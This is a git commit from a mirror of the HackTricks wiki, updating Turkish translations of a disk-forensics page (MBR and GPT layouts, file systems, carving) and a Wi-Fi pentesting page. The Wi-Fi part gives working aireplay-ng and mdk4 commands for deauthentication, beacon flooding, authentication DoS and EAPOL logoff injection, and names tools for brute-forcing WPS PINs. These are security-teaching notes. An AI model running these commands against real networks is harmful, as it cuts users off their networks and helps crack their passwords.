mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
81f4c2ab29
commit
367d2fe11e
@ -5,11 +5,11 @@
|
||||
## Partitions
|
||||
|
||||
Bir sabit disk veya bir **SSD disk farklı bölümler içerebilir** ve bu, verileri fiziksel olarak ayırma amacını taşır.\
|
||||
Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bölüm boyutu bu boyutun katı olmalıdır.
|
||||
Diskin **minimum** birimi **sektördür** (normalde 512B'den oluşur). Bu nedenle, her bölüm boyutu bu boyutun katları olmalıdır.
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
**446B boot kodundan sonra diskin ilk sektöründe** tahsis edilir. Bu sektör, PC'ye bir bölümün ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\
|
||||
**Boot kodunun 446B'sinden sonra diskin ilk sektöründe** tahsis edilmiştir. Bu sektör, PC'ye bir bölümün ne zaman ve nereden bağlanması gerektiğini belirtmek için gereklidir.\
|
||||
En fazla **4 bölüm** (en fazla **1** aktif/**bootable** olabilir) olmasına izin verir. Ancak daha fazla bölüme ihtiyacınız varsa **genişletilmiş bölümler** kullanabilirsiniz. Bu ilk sektörün **son baytı** boot kayıt imzası **0x55AA**'dır. Sadece bir bölüm aktif olarak işaretlenebilir.\
|
||||
MBR **maksimum 2.2TB**'ye izin verir.
|
||||
|
||||
@ -17,7 +17,7 @@ MBR **maksimum 2.2TB**'ye izin verir.
|
||||
|
||||
.png>)
|
||||
|
||||
MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabilir (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulabilirsiniz (Windows kullanılıyorsa). Sabit diskin mantıksal sürücü harfi, Windows Disk İmzasına bağlıdır. Bu imzanın değiştirilmesi, Windows'un başlatılmasını engelleyebilir (araç: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -25,31 +25,31 @@ MBR'nin **440 ile 443 baytları** arasında **Windows Disk İmzası** bulunabili
|
||||
|
||||
| Offset | Length | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Boot code |
|
||||
| 446 (0x1BE) | 16 (0x10) | First Partition |
|
||||
| 462 (0x1CE) | 16 (0x10) | Second Partition |
|
||||
| 478 (0x1DE) | 16 (0x10) | Third Partition |
|
||||
| 494 (0x1EE) | 16 (0x10) | Fourth Partition |
|
||||
| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA |
|
||||
| 0 (0x00) | 446(0x1BE) | Boot kodu |
|
||||
| 446 (0x1BE) | 16 (0x10) | İlk Bölüm |
|
||||
| 462 (0x1CE) | 16 (0x10) | İkinci Bölüm |
|
||||
| 478 (0x1DE) | 16 (0x10) | Üçüncü Bölüm |
|
||||
| 494 (0x1EE) | 16 (0x10) | Dördüncü Bölüm |
|
||||
| 510 (0x1FE) | 2 (0x2) | İmza 0x55 0xAA |
|
||||
|
||||
**Partition Record Format**
|
||||
**Bölüm Kayıt Formatı**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) |
|
||||
| 1 (0x01) | 1 (0x01) | Start head |
|
||||
| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | End head |
|
||||
| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sectors in partition |
|
||||
| 0 (0x00) | 1 (0x01) | Aktif bayrağı (0x80 = bootable) |
|
||||
| 1 (0x01) | 1 (0x01) | Başlangıç başlığı |
|
||||
| 2 (0x02) | 1 (0x01) | Başlangıç sektörü (bit 0-5); silindirin üst bitleri (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | Başlangıç silindiri en düşük 8 bit |
|
||||
| 4 (0x04) | 1 (0x01) | Bölüm türü kodu (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Bitiş başlığı |
|
||||
| 6 (0x06) | 1 (0x01) | Bitiş sektörü (bit 0-5); silindirin üst bitleri (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Bitiş silindiri en düşük 8 bit |
|
||||
| 8 (0x08) | 4 (0x04) | Bölümden önceki sektörler (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Bölümdeki sektörler |
|
||||
|
||||
Bir MBR'yi Linux'ta bağlamak için önce başlangıç ofsetini almanız gerekir (bunu `fdisk` ve `p` komutunu kullanarak yapabilirsiniz)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Ve ardından aşağıdaki kodu kullanın
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
### GPT (GUID Bölüm Tablosu)
|
||||
|
||||
GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır:
|
||||
GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Master Boot Record) ile karşılaştırıldığında geliştirilmiş yetenekleri nedeniyle tercih edilmektedir. Bölümler için **küresel benzersiz tanımlayıcı** ile ayırt edici olan GPT, birkaç yönden öne çıkmaktadır:
|
||||
|
||||
- **Konum ve Boyut**: Hem GPT hem de MBR **sektör 0**'da başlar. Ancak, GPT **64 bit** üzerinde çalışırken, MBR **32 bit** kullanır.
|
||||
- **Bölüm Sınırları**: GPT, Windows sistemlerinde **128 bölüme** kadar destekler ve **9.4ZB**'a kadar veri depolayabilir.
|
||||
@ -85,31 +85,31 @@ GUID Bölüm Tablosu, GPT olarak bilinir ve MBR (Ana Önyükleme Kaydı) ile kar
|
||||
|
||||
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **değiştirilmiş** olarak **GPT** **bölümlerini** tanımak için. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır.
|
||||
**EFI** yerine **BIOS** hizmetleri aracılığıyla **GPT tabanlı önyükleme** destekleyen işletim sistemlerinde, ilk sektör hala **önyükleyici** kodunun ilk aşamasını depolamak için kullanılabilir, ancak **GPT** **bölümlerini tanıyacak şekilde **değiştirilmiştir. MBR'deki önyükleyici, 512 baytlık bir sektör boyutu varsaymamalıdır.
|
||||
|
||||
**Bölüm tablosu başlığı (LBA 1)**
|
||||
|
||||
[Wikipedia'dan](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki 80 ve 84 ofsetleri).
|
||||
Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrıca, bölüm tablosunu oluşturan bölüm girişlerinin sayısını ve boyutunu tanımlar (tablodaki ofsetler 80 ve 84).
|
||||
|
||||
| Ofset | Uzunluk | İçerik |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)küçük sonlu makinelerde) |
|
||||
| 0 (0x00) | 8 bayt | İmza ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h veya 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)küçük sonlu makinelerde) |
|
||||
| 8 (0x08) | 4 bayt | UEFI 2.8 için Revizyon 1.0 (00h 00h 01h 00h) |
|
||||
| 12 (0x0C) | 4 bayt | Küçük sonlu (bayt cinsinden, genellikle 5Ch 00h 00h 00h veya 92 bayt) başlık boyutu |
|
||||
| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanmıştır |
|
||||
| 16 (0x10) | 4 bayt | [CRC32](https://en.wikipedia.org/wiki/CRC32) başlığın (ofset +0'dan başlık boyutuna kadar) küçük sonlu, bu alan hesaplama sırasında sıfırlanır |
|
||||
| 20 (0x14) | 4 bayt | Ayrılmış; sıfır olmalıdır |
|
||||
| 24 (0x18) | 8 bayt | Mevcut LBA (bu başlık kopyasının konumu) |
|
||||
| 32 (0x20) | 8 bayt | Yedek LBA (diğer başlık kopyasının konumu) |
|
||||
| 40 (0x28) | 8 bayt | Bölümler için ilk kullanılabilir LBA (birincil bölüm tablosunun son LBA'sı + 1) |
|
||||
| 48 (0x30) | 8 bayt | Son kullanılabilir LBA (ikincil bölüm tablosunun ilk LBA'sı − 1) |
|
||||
| 56 (0x38) | 16 bayt | Disk GUID karışık sonlu |
|
||||
| 72 (0x48) | 8 bayt | Bölüm girişlerinin bir dizisinin başlangıç LBA'sı (her zaman birincil kopyada 2) |
|
||||
| 80 (0x50) | 4 bayt | Dizideki bölüm girişlerinin sayısı |
|
||||
| 72 (0x48) | 8 bayt | Bir dizi bölüm girişinin başlangıç LBA'sı (her zaman birincil kopyada 2) |
|
||||
| 80 (0x50) | 4 bayt | Dizi içindeki bölüm girişlerinin sayısı |
|
||||
| 84 (0x54) | 4 bayt | Tek bir bölüm girişinin boyutu (genellikle 80h veya 128) |
|
||||
| 88 (0x58) | 4 bayt | Bölüm girişleri dizisinin küçük sonlu CRC32'si |
|
||||
| 92 (0x5C) | \* | Ayrılmış; geri kalan blok için sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) |
|
||||
| 88 (0x58) | 4 bayt | Küçük sonlu bölüm girişleri dizisinin CRC32'si |
|
||||
| 92 (0x5C) | \* | Ayrılmış; blokun geri kalanında sıfır olmalıdır (512 baytlık bir sektör boyutu için 420 bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) |
|
||||
|
||||
**Bölüm girişleri (LBA 2–33)**
|
||||
|
||||
@ -120,7 +120,7 @@ Bölüm tablosu başlığı, diskteki kullanılabilir blokları tanımlar. Ayrı
|
||||
| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID (karışık sonlu) |
|
||||
| 32 (0x20) | 8 bayt | İlk LBA ([küçük sonlu](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek) |
|
||||
| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur olduğunu belirtir) |
|
||||
| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur) |
|
||||
| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) |
|
||||
|
||||
**Bölüm Türleri**
|
||||
@ -131,7 +131,7 @@ Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID_Partition_Ta
|
||||
|
||||
### İnceleme
|
||||
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır:
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)** kullanarak ilk sektörü inceleyebilirsiniz.** Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -149,17 +149,17 @@ Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ i
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT (Dosya Tahsis Tablosu)** dosya sistemi, hacmin başlangıcında yer alan dosya tahsis tablosu etrafında tasarlanmıştır. Bu sistem, verilerin bütünlüğünü sağlamak için tablonun **iki kopyasını** tutarak verileri korur; bu sayede bir kopyası bozulsa bile veri bütünlüğü sağlanır. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir.
|
||||
**FAT (Dosya Tahsis Tablosu)** dosya sistemi, temel bileşeni olan dosya tahsis tablosu etrafında tasarlanmıştır ve bu tablo hacmin başlangıcında yer alır. Bu sistem, verileri **iki kopya** tutarak korur ve birinin bozulması durumunda veri bütünlüğünü sağlar. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir.
|
||||
|
||||
Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler boyunca evrim geçirmiştir:
|
||||
Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler aracılığıyla evrim geçirmiştir:
|
||||
|
||||
- **FAT12**, 12 bit küme adreslerini destekler ve 4078 kümeye kadar (4084 UNIX ile) işleyebilir.
|
||||
- **FAT16**, 16 bit adreslere yükseltilerek 65,517 kümeye kadar destek sağlar.
|
||||
- **FAT32**, 32 bit adreslerle daha da ilerleyerek her hacim için 268,435,456 kümeye kadar izin verir.
|
||||
|
||||
FAT sürümleri arasında önemli bir sınırlama, **4GB maksimum dosya boyutu**'dur; bu, dosya boyutu depolamak için kullanılan 32 bit alan tarafından dayatılmaktadır.
|
||||
FAT sürümleri arasında önemli bir sınırlama, dosya boyutu depolamak için kullanılan 32 bit alan nedeniyle **4GB maksimum dosya boyutudur**.
|
||||
|
||||
FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır:
|
||||
FAT12 ve FAT16 için kök dizininin temel bileşenleri şunlardır:
|
||||
|
||||
- **Dosya/Klasör Adı** (en fazla 8 karakter)
|
||||
- **Nitelikler**
|
||||
@ -169,11 +169,11 @@ FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır:
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir; **Ext3/4** ise genellikle **diğer bölümler** için **günlük tutan** sistemlerdir.
|
||||
**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir, örneğin önyükleme bölümü. **Ext3/4** ise **günlük tutan** sistemlerdir ve genellikle **diğer bölümler** için kullanılır.
|
||||
|
||||
## **Meta Veriler**
|
||||
|
||||
Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki bilgileri içerebilir:
|
||||
Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki gibi bilgiler içerebilir:
|
||||
|
||||
- Başlık
|
||||
- Kullanılan MS Office Versiyonu
|
||||
@ -187,9 +187,9 @@ Bir dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) v
|
||||
|
||||
## **Silinmiş Dosyaların Kurtarılması**
|
||||
|
||||
### Kaydedilen Silinmiş Dosyalar
|
||||
### Günlük Kayıtlı Silinmiş Dosyalar
|
||||
|
||||
Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedildiği birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir; ancak veri dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür.
|
||||
Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedilen birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir, ancak veriler dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür.
|
||||
|
||||
Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeleri hakkında çok fazla bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca fazla bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür.
|
||||
|
||||
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **Dosya Oymacılığı**
|
||||
|
||||
**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik**'e dayalı.
|
||||
**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya** çalışan bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik** kendisine dayalı.
|
||||
|
||||
Bu tekniğin **parçalanmış dosyaları geri almak için çalışmadığını** unutmayın. Eğer bir dosya **bitişik sektörlerde depolanmamışsa**, bu teknik onu veya en azından bir kısmını bulamayacaktır.
|
||||
|
||||
@ -212,7 +212,7 @@ file-data-carving-recovery-tools.md
|
||||
### Veri Akışı **C**arving
|
||||
|
||||
Veri Akışı Oymacılığı, Dosya Oymacılığına benzer, ancak **tam dosyalar aramak yerine, ilginç bilgi parçalarını arar**.\
|
||||
Örneğin, kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır.
|
||||
Örneğin, günlük kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Güvenli Silme
|
||||
|
||||
Açıkça, dosyaları ve bunlarla ilgili logların bir kısmını **"güvenli" bir şekilde silmenin** yolları vardır. Örneğin, bir dosyanın içeriğini birkaç kez gereksiz verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **logları kaldırmak** ve **Hacim Gölge Kopyalarını** **kaldırmak** mümkündür.\
|
||||
Bu işlemi gerçekleştirirken, dosyanın varlığının hala **diğer parçalarda kaydedilmiş olabileceğini** fark edebilirsiniz; bu doğrudur ve adli uzmanların işinin bir parçası da bunları bulmaktır.
|
||||
Açıkça, dosyaları ve bunlarla ilgili günlüklerin bir kısmını **"güvenli" bir şekilde silmenin yolları vardır**. Örneğin, bir dosyanın içeriğini birkaç kez çöp verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **günlükleri kaldırmak** ve **Hacim Gölge Kopyalarını kaldırmak** mümkündür.\
|
||||
Bu işlemi gerçekleştirirken, dosyanın varlığının hala kaydedildiği **diğer parçaların** olabileceğini fark edebilirsiniz ve bu doğrudur; adli uzmanların işi bunları bulmaktır.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -61,8 +61,8 @@ Bu araç **WPS/WEP/WPA-PSK** saldırılarını otomatikleştirir. Otomatik olara
|
||||
- Eğer WPA-PSK ise
|
||||
- Eğer WPS ise: Pixie dust saldırısı ve brute-force saldırısı (brute-force saldırısının uzun sürebileceğine dikkat edin). Null PIN veya veritabanı/üretim PIN'lerini denemediğini unutmayın.
|
||||
- Kırmak için AP'den PMKID yakalamaya çalışır
|
||||
- Bir el sıkışma yakalamak için AP'nin istemcilerini deauthenticate etmeye çalışır
|
||||
- PMKID veya Handshake varsa, en iyi 5000 şifreyi kullanarak brute-force denemesi yapar.
|
||||
- Bir el sıkışma yakalamak için AP'nin istemcilerini deauthentike etmeye çalışır
|
||||
- Eğer PMKID veya El Sıkışma varsa, en iyi 5000 şifreyi kullanarak brute-force denemesi yapar.
|
||||
|
||||
## Saldırı Özeti
|
||||
|
||||
@ -77,7 +77,7 @@ Bu araç **WPS/WEP/WPA-PSK** saldırılarını otomatikleştirir. Otomatik olara
|
||||
- **WPA-PSK**
|
||||
- **WPS** pin "Brute-Force"
|
||||
- **WPA PMKID** brute-force
|
||||
- \[DoS +] **WPA handshake** yakalama + Kırma
|
||||
- \[DoS +] **WPA el sıkışması** yakalama + Kırma
|
||||
- **WPA-MGT**
|
||||
- **Kullanıcı adı yakalama**
|
||||
- **Bruteforce** Kimlik Bilgileri
|
||||
@ -95,7 +95,7 @@ Bu araç **WPS/WEP/WPA-PSK** saldırılarını otomatikleştirir. Otomatik olara
|
||||
|
||||
**Açıklama** [**buradan**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Deauthentication** saldırıları, Wi-Fi hacking'inde yaygın bir yöntemdir ve "yönetim" çerçevelerini sahteleyerek **cihazları bir ağdan zorla ayırmayı** içerir. Bu şifrelenmemiş paketler, istemcileri meşru ağdan geldiklerine inandırarak, saldırganların kırma amaçları için WPA el sıkışmalarını toplamasına veya ağ bağlantılarını sürekli olarak kesintiye uğratmasına olanak tanır. Bu basit ama korkutucu taktik, yaygın olarak kullanılmakta ve ağ güvenliği üzerinde önemli etkileri bulunmaktadır.
|
||||
**Deauthentication** saldırıları, Wi-Fi hacking'inde yaygın bir yöntemdir ve "yönetim" çerçevelerini sahteleyerek **cihazları bir ağdan zorla ayırmayı** içerir. Bu şifrelenmemiş paketler, istemcileri meşru ağdan geldiklerine inandırarak, saldırganların kırma amaçları için WPA el sıkışmalarını toplamasına veya ağ bağlantılarını sürekli olarak kesintiye uğratmasına olanak tanır. Bu basitlikteki taktik, yaygın olarak kullanılmakta ve ağ güvenliği için önemli sonuçlar doğurmaktadır.
|
||||
|
||||
**Aireplay-ng kullanarak Deauthentication**
|
||||
```
|
||||
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
|
||||
### Disassociation Packets
|
||||
|
||||
**Disassociation paketleri**, deauthentication paketlerine benzer şekilde, Wi-Fi ağlarında kullanılan bir yönetim çerçevesidir. Bu paketler, bir cihaz (örneğin bir dizüstü bilgisayar veya akıllı telefon) ile bir erişim noktası (AP) arasındaki bağlantıyı kesmek için kullanılır. Disassociation ve deauthentication arasındaki temel fark, kullanım senaryolarındadır. Bir AP, **ağdan kötü niyetli cihazları açıkça kaldırmak için deauthentication paketleri yayarken, disassociation paketleri genellikle AP kapandığında, yeniden başlatıldığında veya yer değiştirdiğinde gönderilir; bu da bağlı tüm düğümlerin bağlantısının kesilmesini gerektirir.**
|
||||
**Disassociation packets**, deauthentication paketlerine benzer şekilde, Wi-Fi ağlarında kullanılan bir yönetim çerçevesidir. Bu paketler, bir cihaz (örneğin, bir dizüstü bilgisayar veya akıllı telefon) ile bir erişim noktası (AP) arasındaki bağlantıyı kesmek için kullanılır. Disassociation ve deauthentication arasındaki temel fark, kullanım senaryolarındadır. Bir AP, **ağdan kötü niyetli cihazları açıkça kaldırmak için deauthentication paketleri yayarken, disassociation paketleri genellikle AP kapandığında, yeniden başlatıldığında veya yer değiştirdiğinde gönderilir; bu da bağlı tüm düğümlerin bağlantısının kesilmesini gerektirir.**
|
||||
|
||||
**Bu saldırı mdk4(mode "d") ile gerçekleştirilebilir:**
|
||||
```bash
|
||||
@ -122,7 +122,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **mdk4 ile Daha Fazla DOS Saldırısı**
|
||||
|
||||
**Burada** [**bulabilirsiniz**](https://en.kali.tools/?p=864)**.**
|
||||
**Burada** [**bulunmaktadır**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**SALDIRI MODU b: Beacon Flooding**
|
||||
|
||||
@ -134,7 +134,7 @@ Müşterilere sahte AP'leri göstermek için beacon çerçeveleri gönderir. Bu
|
||||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**ATTACK MODE a: Kimlik Doğrulama Hizmet Dışı Bırakma**
|
||||
**ATTACK MODE a: Kimlik Doğrulama Hizmet Reddi**
|
||||
|
||||
Erişim alanındaki tüm erişim noktalarına (AP) kimlik doğrulama çerçeveleri göndermek, özellikle birçok istemci söz konusu olduğunda bu AP'leri aşırı yükleyebilir. Bu yoğun trafik, sistem kararsızlığına yol açabilir ve bazı AP'lerin donmasına veya hatta sıfırlanmasına neden olabilir.
|
||||
```bash
|
||||
@ -146,7 +146,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
||||
|
||||
Access Point'ları (AP'ler) sorgulamak, bir SSID'nin düzgün bir şekilde ifşa edilip edilmediğini kontrol eder ve AP'nin menzilini doğrular. Bu teknik, **gizli SSID'leri** bir kelime listesi ile veya kelime listesi olmadan bruteforcing ile birleştirildiğinde, gizli ağları tanımlamak ve erişmekte yardımcı olur.
|
||||
Access Point'ları (AP'ler) sorgulamak, bir SSID'nin düzgün bir şekilde ifşa edilip edilmediğini kontrol eder ve AP'nin menzilini doğrular. Bu teknik, **gizli SSID'leri** bir kelime listesi ile veya kelime listesi olmadan bruteforcing ile birleştirildiğinde, gizli ağları tanımlamaya ve erişmeye yardımcı olur.
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
@ -158,14 +158,14 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**ATTACK MODE e: EAPOL Başlangıç ve Logoff Paket Enjeksiyonu**
|
||||
|
||||
Bir AP'yi **EAPOL Başlangıç çerçeveleri** ile doldurmak **sahte oturumlar** oluşturur, AP'yi aşırı yükler ve meşru istemcileri engeller. Alternatif olarak, **sahte EAPOL Logoff mesajları** enjekte etmek istemcileri zorla bağlantıdan ayırır, her iki yöntem de ağ hizmetini etkili bir şekilde kesintiye uğratır.
|
||||
Bir AP'yi **EAPOL Başlangıç çerçeveleri** ile doldurmak **sahte oturumlar** oluşturur, AP'yi aşırı yükler ve meşru istemcileri engeller. Alternatif olarak, **sahte EAPOL Logoff mesajları** enjekte etmek istemcileri zorla bağlantıdan keser, her iki yöntem de ağ hizmetini etkili bir şekilde kesintiye uğratır.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**ATTACK MODE s: IEEE 802.11s mesh ağları için Saldırılar**
|
||||
|
||||
Mesh ağlarındaki bağlantı yönetimi ve yönlendirme üzerindeki çeşitli saldırılar.
|
||||
Mesh ağlarındaki bağlantı yönetimi ve yönlendirme üzerinde çeşitli saldırılar.
|
||||
|
||||
**ATTACK MODE w: WIDS Karışıklığı**
|
||||
|
||||
@ -180,7 +180,7 @@ Farklı paket kaynakları ve paket manipülasyonu için kapsamlı bir değiştir
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
_**Airgeddon**_ önceki yorumlarda önerilen saldırıların çoğunu sunmaktadır:
|
||||
_**Airgeddon**_ önceki yorumlarda önerilen saldırıların çoğunu sunar:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -195,25 +195,25 @@ Bu eylemi gerçekleştirmek için 2 ana araç vardır: Reaver ve Bully.
|
||||
- **Reaver**, WPS'ye karşı sağlam ve pratik bir saldırı olarak tasarlanmış ve çeşitli erişim noktaları ve WPS uygulamaları üzerinde test edilmiştir.
|
||||
- **Bully**, C dilinde yazılmış **yeni bir WPS brute force saldırı uygulamasıdır**. Orijinal reaver koduna göre birkaç avantajı vardır: daha az bağımlılık, geliştirilmiş bellek ve CPU performansı, endianlık yönetiminde doğru işlem ve daha sağlam bir seçenek seti.
|
||||
|
||||
